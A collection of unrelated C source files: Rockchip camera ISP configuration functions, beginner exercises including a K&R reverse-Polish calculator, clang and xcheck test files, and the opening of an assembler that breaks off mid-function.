printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&lock[CamId]);
g_cpsl_cfg[CamId].lght_src = RK_AIQ_CPSLS_IR;
g_cpsl_cfg[CamId].mode = RK_AIQ_OP_MODE_MANUAL;
g_cpsl_cfg[CamId].gray_on = RK_FALSE;
g_cpsl_cfg[CamId].u.m.on = 0;
g_cpsl_cfg[CamId].u.m.strength_led = 0;
g_cpsl_cfg[CamId].u.m.strength_ir = 0;
ret = SAMPLE_COMM_ISP_SET_CPSL_CFG(CamId, &g_cpsl_cfg[CamId]);
pthread_mutex_unlock(&lock[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_GrayOpenLed(RK_S32 CamId, RK_U8 u8Strength) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&lock[CamId]);
g_cpsl_cfg[CamId].mode = RK_AIQ_OP_MODE_MANUAL;
g_cpsl_cfg[CamId].lght_src = RK_AIQ_CPSLS_IR;
g_cpsl_cfg[CamId].gray_on = RK_TRUE;
g_cpsl_cfg[CamId].u.m.on = 1;
g_cpsl_cfg[CamId].u.m.strength_led = u8Strength / 5 + 3;
g_cpsl_cfg[CamId].u.m.strength_ir = u8Strength / 5 + 3;
ret = SAMPLE_COMM_ISP_SET_CPSL_CFG(CamId, &g_cpsl_cfg[CamId]);
pthread_mutex_unlock(&lock[CamId]);
return ret;
}
RK_S32 SAMPLE_COMMON_ISP_SET_AutoWhiteBalance(RK_S32 CamId) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setWBMode(g_aiq_ctx[CamId], OP_AUTO);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMMON_ISP_SET_ManualWhiteBalance(RK_S32 CamId, RK_U32 u32RGain,
RK_U32 u32GGain,
RK_U32 u32BGain) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
rk_aiq_wb_gain_t gain;
u32RGain = (u32RGain == 0) ? 1 : u32RGain;
u32GGain = (u32GGain == 0) ? 1 : u32GGain;
u32BGain = (u32BGain == 0) ? 1 : u32BGain;
// gain.bgain = (b_gain / 255.0f) * 4;//[0,255]->(0.0, 4.0]
// gain.grgain = (g_gain / 255.0f) * 4;//[0,255]->(0.0, 4.0]
// gain.gbgain = (g_gain / 255.0f) * 4;//[0,255]->(0.0, 4.0]
// gain.rgain = (r_gain / 255.0f) * 4;//[0,255]->(0.0, 4.0]
//[0,255]->(0.0, 4.0]
gain.rgain = (u32RGain / 128.0f) * gs_wb_auto_gain.rgain;
//[0,255]->(0.0, 4.0]
gain.grgain = (u32GGain / 128.0f) * gs_wb_auto_gain.grgain;
//[0,255]->(0.0, 4.0]
gain.gbgain = (u32GGain / 128.0f) * gs_wb_auto_gain.gbgain;
//[0,255]->(0.0, 4.0]
gain.bgain = (u32BGain / 128.0f) * gs_wb_auto_gain.bgain;
printf("convert gain r g g b %f, %f, %f, %f\n", gain.rgain, gain.grgain,
gain.gbgain, gain.bgain);
printf("auto gain r g g b %f, %f, %f, %f\n", gs_wb_auto_gain.rgain,
gs_wb_auto_gain.grgain, gs_wb_auto_gain.gbgain, gs_wb_auto_gain.bgain);
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setMWBGain(g_aiq_ctx[CamId], &gain);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMMON_ISP_GET_WhiteBalanceGain(RK_S32 CamId,
rk_aiq_wb_gain_t *gain) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_getMWBGain(g_aiq_ctx[CamId], gain);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
printf("Rgain = %f, Grgain = %f, Gbgain = %f, Bgain = %f\n", gain->rgain,
gain->grgain, gain->gbgain, gain->bgain);
return ret;
}
// mode 0:off, 1:2d, 2:3d, 3: 2d+3d
RK_S32 SAMPLE_COMMON_ISP_SET_DNRStrength(RK_S32 CamId, RK_U32 u32Mode,
RK_U32 u322DValue, RK_U32 u323Dvalue) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
RK_U32 u32_2d_value = (u322DValue / 128.0f) * g_2dnr_default_level;
RK_U32 u32_3d_value = (u323Dvalue / 128.0f) * g_3dnr_default_level;
printf(" mode = %d n_2d_value = %d n_3d_value = %d\r\n", u32Mode, u322DValue,
u323Dvalue);
printf("u_2d_value = %d n_3d_value = %d\r\n", u32_2d_value, u32_3d_value);
printf("g_2dnr_default_level = %d g_3dnr_default_level = %d\r\n",
g_2dnr_default_level, g_3dnr_default_level);
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
if (u32Mode == 0) {
ret = rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_NR,
true); // 2D
ret |= rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_TNR,
true); // 3D
ret |= rk_aiq_uapi_setMSpaNRStrth(g_aiq_ctx[CamId], true,
g_2dnr_default_level); //[0,100]
ret |= rk_aiq_uapi_setMTNRStrth(g_aiq_ctx[CamId], true,
g_3dnr_default_level); //[0,100]
} else if (u32Mode == 1) // 2D
{
ret = rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_NR,
true); // 2D
ret |= rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_TNR,
true); // 3D
ret |= rk_aiq_uapi_setMSpaNRStrth(g_aiq_ctx[CamId], true,
u32_2d_value); ////[0,255] -> [0,100]
ret |= rk_aiq_uapi_setMTNRStrth(g_aiq_ctx[CamId], true,
g_3dnr_default_level);
} else if (u32Mode == 2) // 3D
{
ret = rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_NR,
true); // 2D
ret |= rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_TNR,
true); // 3D
ret |=
rk_aiq_uapi_setMSpaNRStrth(g_aiq_ctx[CamId], true,
g_2dnr_default_level); //[0,100]->[0,255]
ret |= rk_aiq_uapi_setMTNRStrth(g_aiq_ctx[CamId], true, u32_3d_value);
} else if (u32Mode == 3) //)//2D+3D
{
ret = rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_NR,
true); // 2D
ret |= rk_aiq_uapi_sysctl_setModuleCtl(g_aiq_ctx[CamId], RK_MODULE_TNR,
true); // 3D
ret |= rk_aiq_uapi_setMSpaNRStrth(g_aiq_ctx[CamId], true,
u32_2d_value); //[0,255] -> [0,100]
ret |= rk_aiq_uapi_setMTNRStrth(g_aiq_ctx[CamId], true,
u32_3d_value); //[0,255] -> [0,100]
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMMON_ISP_GET_DNRStrength(RK_S32 CamId, RK_U32 *u322DValue,
RK_U32 *u323Dvalue) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
bool on;
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_getMSpaNRStrth(g_aiq_ctx[CamId], &on, u322DValue);
ret |= rk_aiq_uapi_getMTNRStrth(g_aiq_ctx[CamId], &on, u323Dvalue);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMMON_ISP_SET_Flicker(RK_S32 CamId, RK_U8 u32Flicker) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
frameRateInfo_t info;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
if (u32Flicker == 0) // NTSC(60HZ)
{
ret = rk_aiq_uapi_setExpPwrLineFreqMode(g_aiq_ctx[CamId],
EXP_PWR_LINE_FREQ_60HZ);
info.mode = OP_MANUAL;
info.fps = 30;
ret |= rk_aiq_uapi_setFrameRate(g_aiq_ctx[CamId], info);
} else if (u32Flicker == 1) // PAL(50HZ)
{
ret = rk_aiq_uapi_setExpPwrLineFreqMode(g_aiq_ctx[CamId],
EXP_PWR_LINE_FREQ_50HZ);
info.mode = OP_MANUAL;
info.fps = 25;
ret |= rk_aiq_uapi_setFrameRate(g_aiq_ctx[CamId], info);
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
// for normal or hdr2
RK_S32 SAMPLE_COMM_ISP_SET_HDR(RK_S32 CamId, rk_aiq_working_mode_t mode) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_sysctl_swWorkingModeDyn(g_aiq_ctx[CamId], mode);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
// mode 0 0ff 1 on 2 auto
RK_S32 SAMPLE_COMM_ISP_SET_DefogEnable(RK_S32 CamId, RK_U32 u32Mode) {
/*
int defog = (u32Mode == 0) ? 0 : 1;
if(gs_defog_mode == defog)
{
return 0;
}
gs_defog_mode = defog;
*/
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
if (u32Mode == 0) {
ret = rk_aiq_uapi_disableDhz(g_aiq_ctx[CamId]);
} else {
ret = rk_aiq_uapi_enableDhz(g_aiq_ctx[CamId]);
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_DefogStrength(RK_S32 CamId, RK_U32 u32Mode,
RK_U32 u32Value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
unsigned int level = u32Value / 25.5;
level = (level < 1) ? 1 : level;
level = (level > 10) ? 10 : level;
printf("defog level = %d\n", level);
if (g_aiq_ctx[CamId]) {
if (u32Mode == 1) {
ret = rk_aiq_uapi_setDhzMode(g_aiq_ctx[CamId], OP_MANUAL);
ret |= rk_aiq_uapi_setMDhzStrth(g_aiq_ctx[CamId], true,
level); //[0,255]->[1,10]
} else if (u32Mode == 2) {
ret = rk_aiq_uapi_setDhzMode(g_aiq_ctx[CamId], OP_AUTO);
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Correction(RK_S32 CamId, RK_U32 u32Mode,
RK_U32 u32Value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
if (gs_LDC_mode[CamId] != u32Mode) {
if (u32Mode) {
ret = rk_aiq_uapi_setLdchEn(g_aiq_ctx[CamId], true);
} else {
ret = rk_aiq_uapi_setLdchEn(g_aiq_ctx[CamId], false);
}
gs_LDC_mode[CamId] = u32Mode;
}
if (u32Mode) {
ret |= rk_aiq_uapi_setLdchCorrectLevel(g_aiq_ctx[CamId],
(u32Value < 2 ? 2 : u32Value));
}
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_mirror(RK_S32 CamId, RK_U32 u32Value) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
int mirror = 0;
int flip = 0;
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
switch (u32Value) {
case 0:
mirror = 0;
flip = 0;
break;
case 1:
mirror = 1;
flip = 0;
break;
case 2:
mirror = 0;
flip = 1;
break;
case 3:
mirror = 1;
flip = 1;
break;
default:
mirror = 0;
flip = 0;
break;
}
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_setMirroFlip(g_aiq_ctx[CamId], mirror, flip, 4);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_BypassStreamRotation(RK_S32 CamId,
RK_S32 S32Rotation) {
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
rk_aiq_rotation_t rk_rotation = RK_AIQ_ROTATION_0;
if (S32Rotation == 0) {
rk_rotation = RK_AIQ_ROTATION_0;
} else if (S32Rotation == 90) {
rk_rotation = RK_AIQ_ROTATION_90;
} else if (S32Rotation == 270) {
rk_rotation = RK_AIQ_ROTATION_270;
}
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_sysctl_setSharpFbcRotation(g_aiq_ctx[CamId], rk_rotation);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
RK_S32 SAMPLE_COMM_ISP_SET_Crop(RK_S32 CamId, rk_aiq_rect_t rect) {
/*
rk_aiq_rect_t rect;
rect.left = 0;
rect.top = 0;
rect.width = 2560;
rect.height = 1440;
rk_aiq_uapi_sysctl_setCrop(aiq_ctx, rect);*/
if (CamId >= MAX_AIQ_CTX || !g_aiq_ctx[CamId]) {
printf("%s : CamId is over 3 or not init\n", __FUNCTION__);
return -1;
}
RK_S32 ret = 0;
pthread_mutex_lock(&aiq_ctx_mutex[CamId]);
if (g_aiq_ctx[CamId]) {
ret = rk_aiq_uapi_sysctl_setCrop(g_aiq_ctx[CamId], rect);
}
pthread_mutex_unlock(&aiq_ctx_mutex[CamId]);
return ret;
}
#endif
|
the_stack_data/162642119.c
|
/**/
#include <stdio.h>
#include <math.h>
int main () {
int a, b, c, d;
printf("Please enter 4 numbers separated by spaces > ");
scanf("%d%d%d%d",&a,&b,&c,&d);
if((a<b)&&(a<c)&&(a<d))
printf("%d is the smallest\n", a);
else if((b<a)&&(b<c)&&(b<d))
printf("%d is the smallest\n", b);
else if((c<a)&&(c<b)&&(c<d))
printf("%d is the smallest\n", c);
else if((d<a)&&(d<b)&&(d<c))
printf("%d is the smallest\n", d);
return 0;
}
|
the_stack_data/124119.c
|
// Test whether or not the driver instructs the backend to use .init_array
// sections for global constructors.
//
// CHECK-INIT-ARRAY-NOT: -fno-use-init-array
// CHECK-NO-INIT-ARRAY: -fno-use-init-array
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/resource_dir \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/fake_install_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: -fno-use-init-array \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/fake_install_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-NO-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: -fno-use-init-array -fuse-init-array \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/fake_install_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: -fuse-init-array \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=arm-unknown-linux-androideabi \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=mipsel-unknown-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-unknown-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=aarch64-none-linux-gnu \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=aarch64-none-none-eabi \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=arm64-none-linux-gnu \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: --gcc-toolchain="" \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=arm64-none-none-eabi \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-unknown-freebsd11 \
// RUN: | FileCheck --check-prefix=CHECK-NO-INIT-ARRAY %s
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-unknown-freebsd12 \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=sparc-sun-solaris2.11 \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
//
// RUN: %clang -### %s -fsyntax-only 2>&1 \
// RUN: --target=i386-pc-solaris2.11 \
// RUN: | FileCheck --check-prefix=CHECK-INIT-ARRAY %s
|
the_stack_data/51700625.c
|
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fp;
char name[10];
int rollno, amount;
fp = fopen("studentinfo.txt", "a");
if(fp == NULL){
printf("Error!");
exit(1);
}
printf("Enter four digit roll no: ");
scanf("%d", &rollno);
printf("Enter name: ");
fflush(stdin);
scanf("%s", name);
printf("Enter amount: ");
scanf("%d", &amount);
fprintf(fp, "%d %-10s %-6d\n", rollno, name, amount);
printf("Data added successfully");
fclose(fp);
return 0;
}
|
the_stack_data/125291.c
|
/**
* Exercise 4-8, page 68
* Упражнение 4.8, страница 93
*
* Suppose that there will never be more than one character of pushback. Modify
* getch and ungetch accordingly.
*
* Предположим, что в поток ввода никогда не будет возвращаться больше одного символа.
* Доработайте функции getch и ungetch соответственно.
*/
#include <stdio.h>
#include <math.h>
#include <ctype.h>
#include <string.h>
/** max size of operand or operator */
#define MAXOP 100
/** signal that a number was found */
#define NUMBER '0'
/** signal that some function was found */
#define FUNCTION_OR_VARIABLE '1'
/** signal that '\0' was found */
#define ENDSTRING '2'
/** maximum depth of val stack */
#define MAXVAL 100
/** size of buffer for getch/ungetch */
#define BUFSIZE 100
/** number of variables */
#define MAXVARS 26
/** variable length */
#define MAX_VAR_NAME 1
/** next free stack position */
int sp = 0;
/** value stack */
double val[MAXVAL];
/** buffer for ungetch */
char buf[BUFSIZE];
/** next free position in buf */
int bufp = 0;
void push (double f) {
if (sp < MAXVAL)
val[sp++] = f;
else
printf("error: stack full, can`t push %f\n", f);
}
double pop (void) {
if (sp > 0)
return val[--sp];
else {
printf("pop error: stack empty\n");
return 0.0;
}
}
struct var {
char name[MAX_VAR_NAME+1];
double value;
};
int var_pos = 0;
struct var last_var;
struct var variables[MAXVARS];
void process_variable(char *name) {
int i = 0;
/** trying to find existing variable */
while(variables[i].name[0] != '\0' && i < MAXVARS - 1) {
if (strcmp(name, variables[i].name)==0) {
strcpy(last_var.name, name);
last_var.value = variables[i].value;
push(variables[i].value);
var_pos = i;
return;
}
i++;
}
/** if there`s no such variable - add it */
strcpy(variables[i].name, name);
strcpy(last_var.name, name);
last_var.value = variables[i].value;
push(variables[i].value);
var_pos = i;
}
void clear_variables(void) {
int i;
for (i=0; i < MAXVARS; ++i) {
variables[i].name[0] = '\0';
variables[i].value = 0.0;
}
}
void stack_show(void) {
if (sp > 0)
printf("stack top: %f\n", val[sp-1]);
else
printf("stack_show error: stack empty\n");
}
void stack_duplicate(void) {
double tmp = pop();
push(tmp);
push(tmp);
}
void stack_swap(void) {
double tmp1 = pop();
double tmp2 = pop();
push(tmp1);
push(tmp2);
}
void stack_clear(void) {
sp = 0;
clear_variables();
}
/** get a (possibly pushed back) character */
int getch(void) {
return (bufp > 0) ? buf[--bufp] : getchar();
}
/** push character back on input */
void ungetch(int c) {
if (bufp >= BUFSIZE)
printf("ungetch: too many characters\n");
else
buf[bufp++] = c;
}
int buf_alt = EOF;
int getch_one(void) {
int temp;
if (buf_alt != EOF) {
temp = buf_alt;
buf_alt = EOF;
}
else
temp = getchar();
return temp;
}
void ungetch_one(int c) {
if (buf_alt != EOF)
printf("ungetch: too many characters\n");
else
buf_alt = c;
}
/** push entire string back on input */
void ungets(char *s) {
size_t i = strlen(s);
while (i > 0)
/** we should use back-order, because ungetch uses stack */
ungetch(s[--i]);
}
int getop (char s[]) {
int i = 0;
int c, next_ch;
/** skip space symbpols */
while ((s[0] = c = getch()) == ' ' || c == '\t')
;
s[1] = '\0';
if (isalpha(c)) {
while (isalpha(s[++i] = c = getch()))
;
s[i] = '\0';
if (c != EOF)
ungetch(c);
return FUNCTION_OR_VARIABLE;
}
if (!isdigit(c) && c != '.' && c != '-') {
/** assigning a variable */
if (c == '=' && (next_ch = getch()) == '\n') {
ungetch('\0');
return c;
}
if (c == '\0')
return ENDSTRING;
/** not number */
return c;
}
/** check if there`s a number or '.' after '-' */
if (c == '-') {
next_ch = getch();
if (!isdigit(next_ch) && next_ch != '.')
return c;
c = next_ch;
}
else
c = getch();
/** collect integer */
while (isdigit(s[++i] = c))
c = getch();
if (c == '.')
/** collect fraction */
while (isdigit(s[++i] = c = getch()))
;
s[i] = '\0';
if (c != EOF)
ungetch(c);
return NUMBER;
}
double atof (char s[]) {
double val, power;
int i, sign, exp_sign;
int exp;
/** skip former space-char`s */
for (i = 0; isspace(s[i]); i++)
;
sign = (s[i] == '-') ? -1 : 1;
if (s[i] == '+' || s[i] == '-')
i++;
/** integer */
for (val = 0.0; isdigit(s[i]); i++)
val = 10.0 * val + (s[i] - '0');
/** fraction */
if (s[i] == '.') {
i++;
for (power = 1.0; isdigit(s[i]); i++) {
val = 10.0 * val + (s[i] - '0');
power *= 10;
}
val *= sign / power;
}
/** exponent */
if (s[i] == 'e' || s[i] == 'E') {
exp_sign = (s[++i] == '-') ? -1 : 1;
if (s[i] == '+' || s[i] == '-')
i++;
for (exp = 0.0; isdigit(s[i]); i++)
exp = 10.0 * exp + (s[i] - '0');
val *= pow(10, exp_sign * exp);
}
return val;
}
void process_function_or_variable(char *name) {
if (strcmp(name, "sin") == 0)
push(sin(pop()));
else if (strcmp(name, "cos") == 0)
push(cos(pop()));
else if (strcmp(name, "tan") == 0)
push(tan(pop()));
else if (strcmp(name, "exp") == 0)
push(exp(pop()));
else if (strcmp(name, "pow") == 0) {
double op2 = pop();
double op1 = pop();
/** division by zero */
if (op1 == 0 && op2 <= 0)
printf("error: trying to get \'%f^%f\'\n", op1, op2);
else
push(pow(op1, op2));
}
/** we`ll use one-letter characters for var`s (string contains only alphabetical characters here) */
else if (strlen(name) == MAX_VAR_NAME)
process_variable(name);
else
printf("error: unknown command \'%s\'\n", name);
}
/**
* reverse polish calculator\
* 1 2 - 4 5 + * == (1 - 2) * (4 + 5)
*/
int main (void) {
int type;
double op2;
char s[MAXOP];
/** signal that we`ve printed last variable and don`t want to show pop() */
int last_var_printed = 0;
clear_variables();
while ((type = getop(s)) != EOF) {
switch(type) {
case NUMBER:
push(atof(s));
break;
case FUNCTION_OR_VARIABLE:
process_function_or_variable(s);
break;
case ENDSTRING:
break;
case '+':
push(pop() + pop());
break;
case '*':
push(pop() * pop());
break;
case '-':
/** first pop second operand*/
op2 = pop();
push(pop() - op2);
break;
case '/':
op2 = pop();
if (op2 != 0.0)
push(pop() / op2);
else
printf("error: division by zero\n");
break;
case '%':
op2 = pop();
if (op2 != 0.0)
push(fmod(pop(), op2));
else
printf("error: division by zero\n");
break;
case '?':
stack_show();
break;
case '#':
stack_duplicate();
break;
case '~':
stack_swap();
break;
case '!':
stack_clear();
break;
case '=':
/** get '=' from stack - it`s not used */
pop();
/** next get real value */
variables[var_pos].value = pop();
last_var.value = variables[var_pos].value;
push(last_var.value);
break;
case '$':
printf("last added value: %s = %f\n", last_var.name, last_var.value);
last_var_printed = 1;
break;
case '\n':
if (last_var_printed == 0)
printf("\t%.8f\n", pop());
else
last_var_printed = 0;
break;
default:
printf("error: unknown command \'%s\'\n", s);
break;
}
}
return 0;
}
|
the_stack_data/162643291.c
|
// RUN: %clang_xcheck -O2 -o %t %s %xcheck_runtime %fakechecks
// RUN: %t 2>&1 | FileCheck %s
#include <stdio.h>
int main() {
return 0;
}
// CHECK: XCHECK(Ent):2090499946/0x7c9a7f6a
// CHECK: XCHECK(Exi):2090499946/0x7c9a7f6a
// CHECK: XCHECK(Ret):8680820740569200758/0x7878787878787876
|
the_stack_data/64199764.c
|
#include <stdio.h>
#include <stdlib.h>
#define MAX 100
void reverse(char rev[], int ini, int fin);
int main()
{
char rev[MAX] = {'P','e','r','u','\0'};
char rev1[MAX] = "Abcde";
int ini = 0;
int fin = 4;
int fin1 = 5;
reverse(rev, ini, fin);
printf("%s\n", rev);
reverse(rev1, ini, fin1);
printf("%s\n", rev1);
return 0;
}
void swap(char rev[], int x, int y);
void reverse(char rev[], int ini, int fin)
{
swap(rev, ini++, --fin);
if(ini < fin)
reverse(rev, ini, fin);
}
void swap(char rev[], int x, int y)
{
int temp;
temp = rev[x];
rev[x] = rev[y];
rev[y] = temp;
}
|
the_stack_data/70450901.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <ctype.h>
#include <assert.h>
typedef uint32_t word;
#define nil NULL
enum
{
None = 0,
W = 0777777,
MAXMEM = 0200000,
SYMLEN = 6,
MAXSYM = 4000,
};
enum SymType
{
SymValue = 1,
SymPseudo,
SymLabel = 010
};
enum TokType
{
TokEol = 0200,
TokSymbol,
TokWord
};
typedef struct Token Token;
typedef struct Sym Sym;
struct Token
{
int type;
union {
Sym *sym;
word w;
};
};
struct Sym
{
char name[SYMLEN];
int type;
int supress;
union {
word val;
void (*f)(void);
};
};
FILE *infp, *outfp, *lstfp, *tmpfp;
Sym symtab[MAXSYM];
Sym *dot;
word startaddr;
int radix = 8;
char *filename;
int lineno = 1;
int pass2;
int lastlistline = ~0;
char line[80];
int peekc;
Token peekt;
word memory[MAXMEM];
word litdot;
word litend;
int maxlits;
void
err(int n, char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "%s:%d: ", filename, lineno);
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
if(n)
exit(1);
}
void
panic(char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
exit(1);
}
FILE*
mustopen(const char *name, const char *mode)
{
FILE *f;
if(f = fopen(name, mode), f == nil)
panic("couldn't open file: %s", name);
return f;
}
void*
mustmalloc(size_t size)
{
void *p;
p = malloc(size);
if(p == nil)
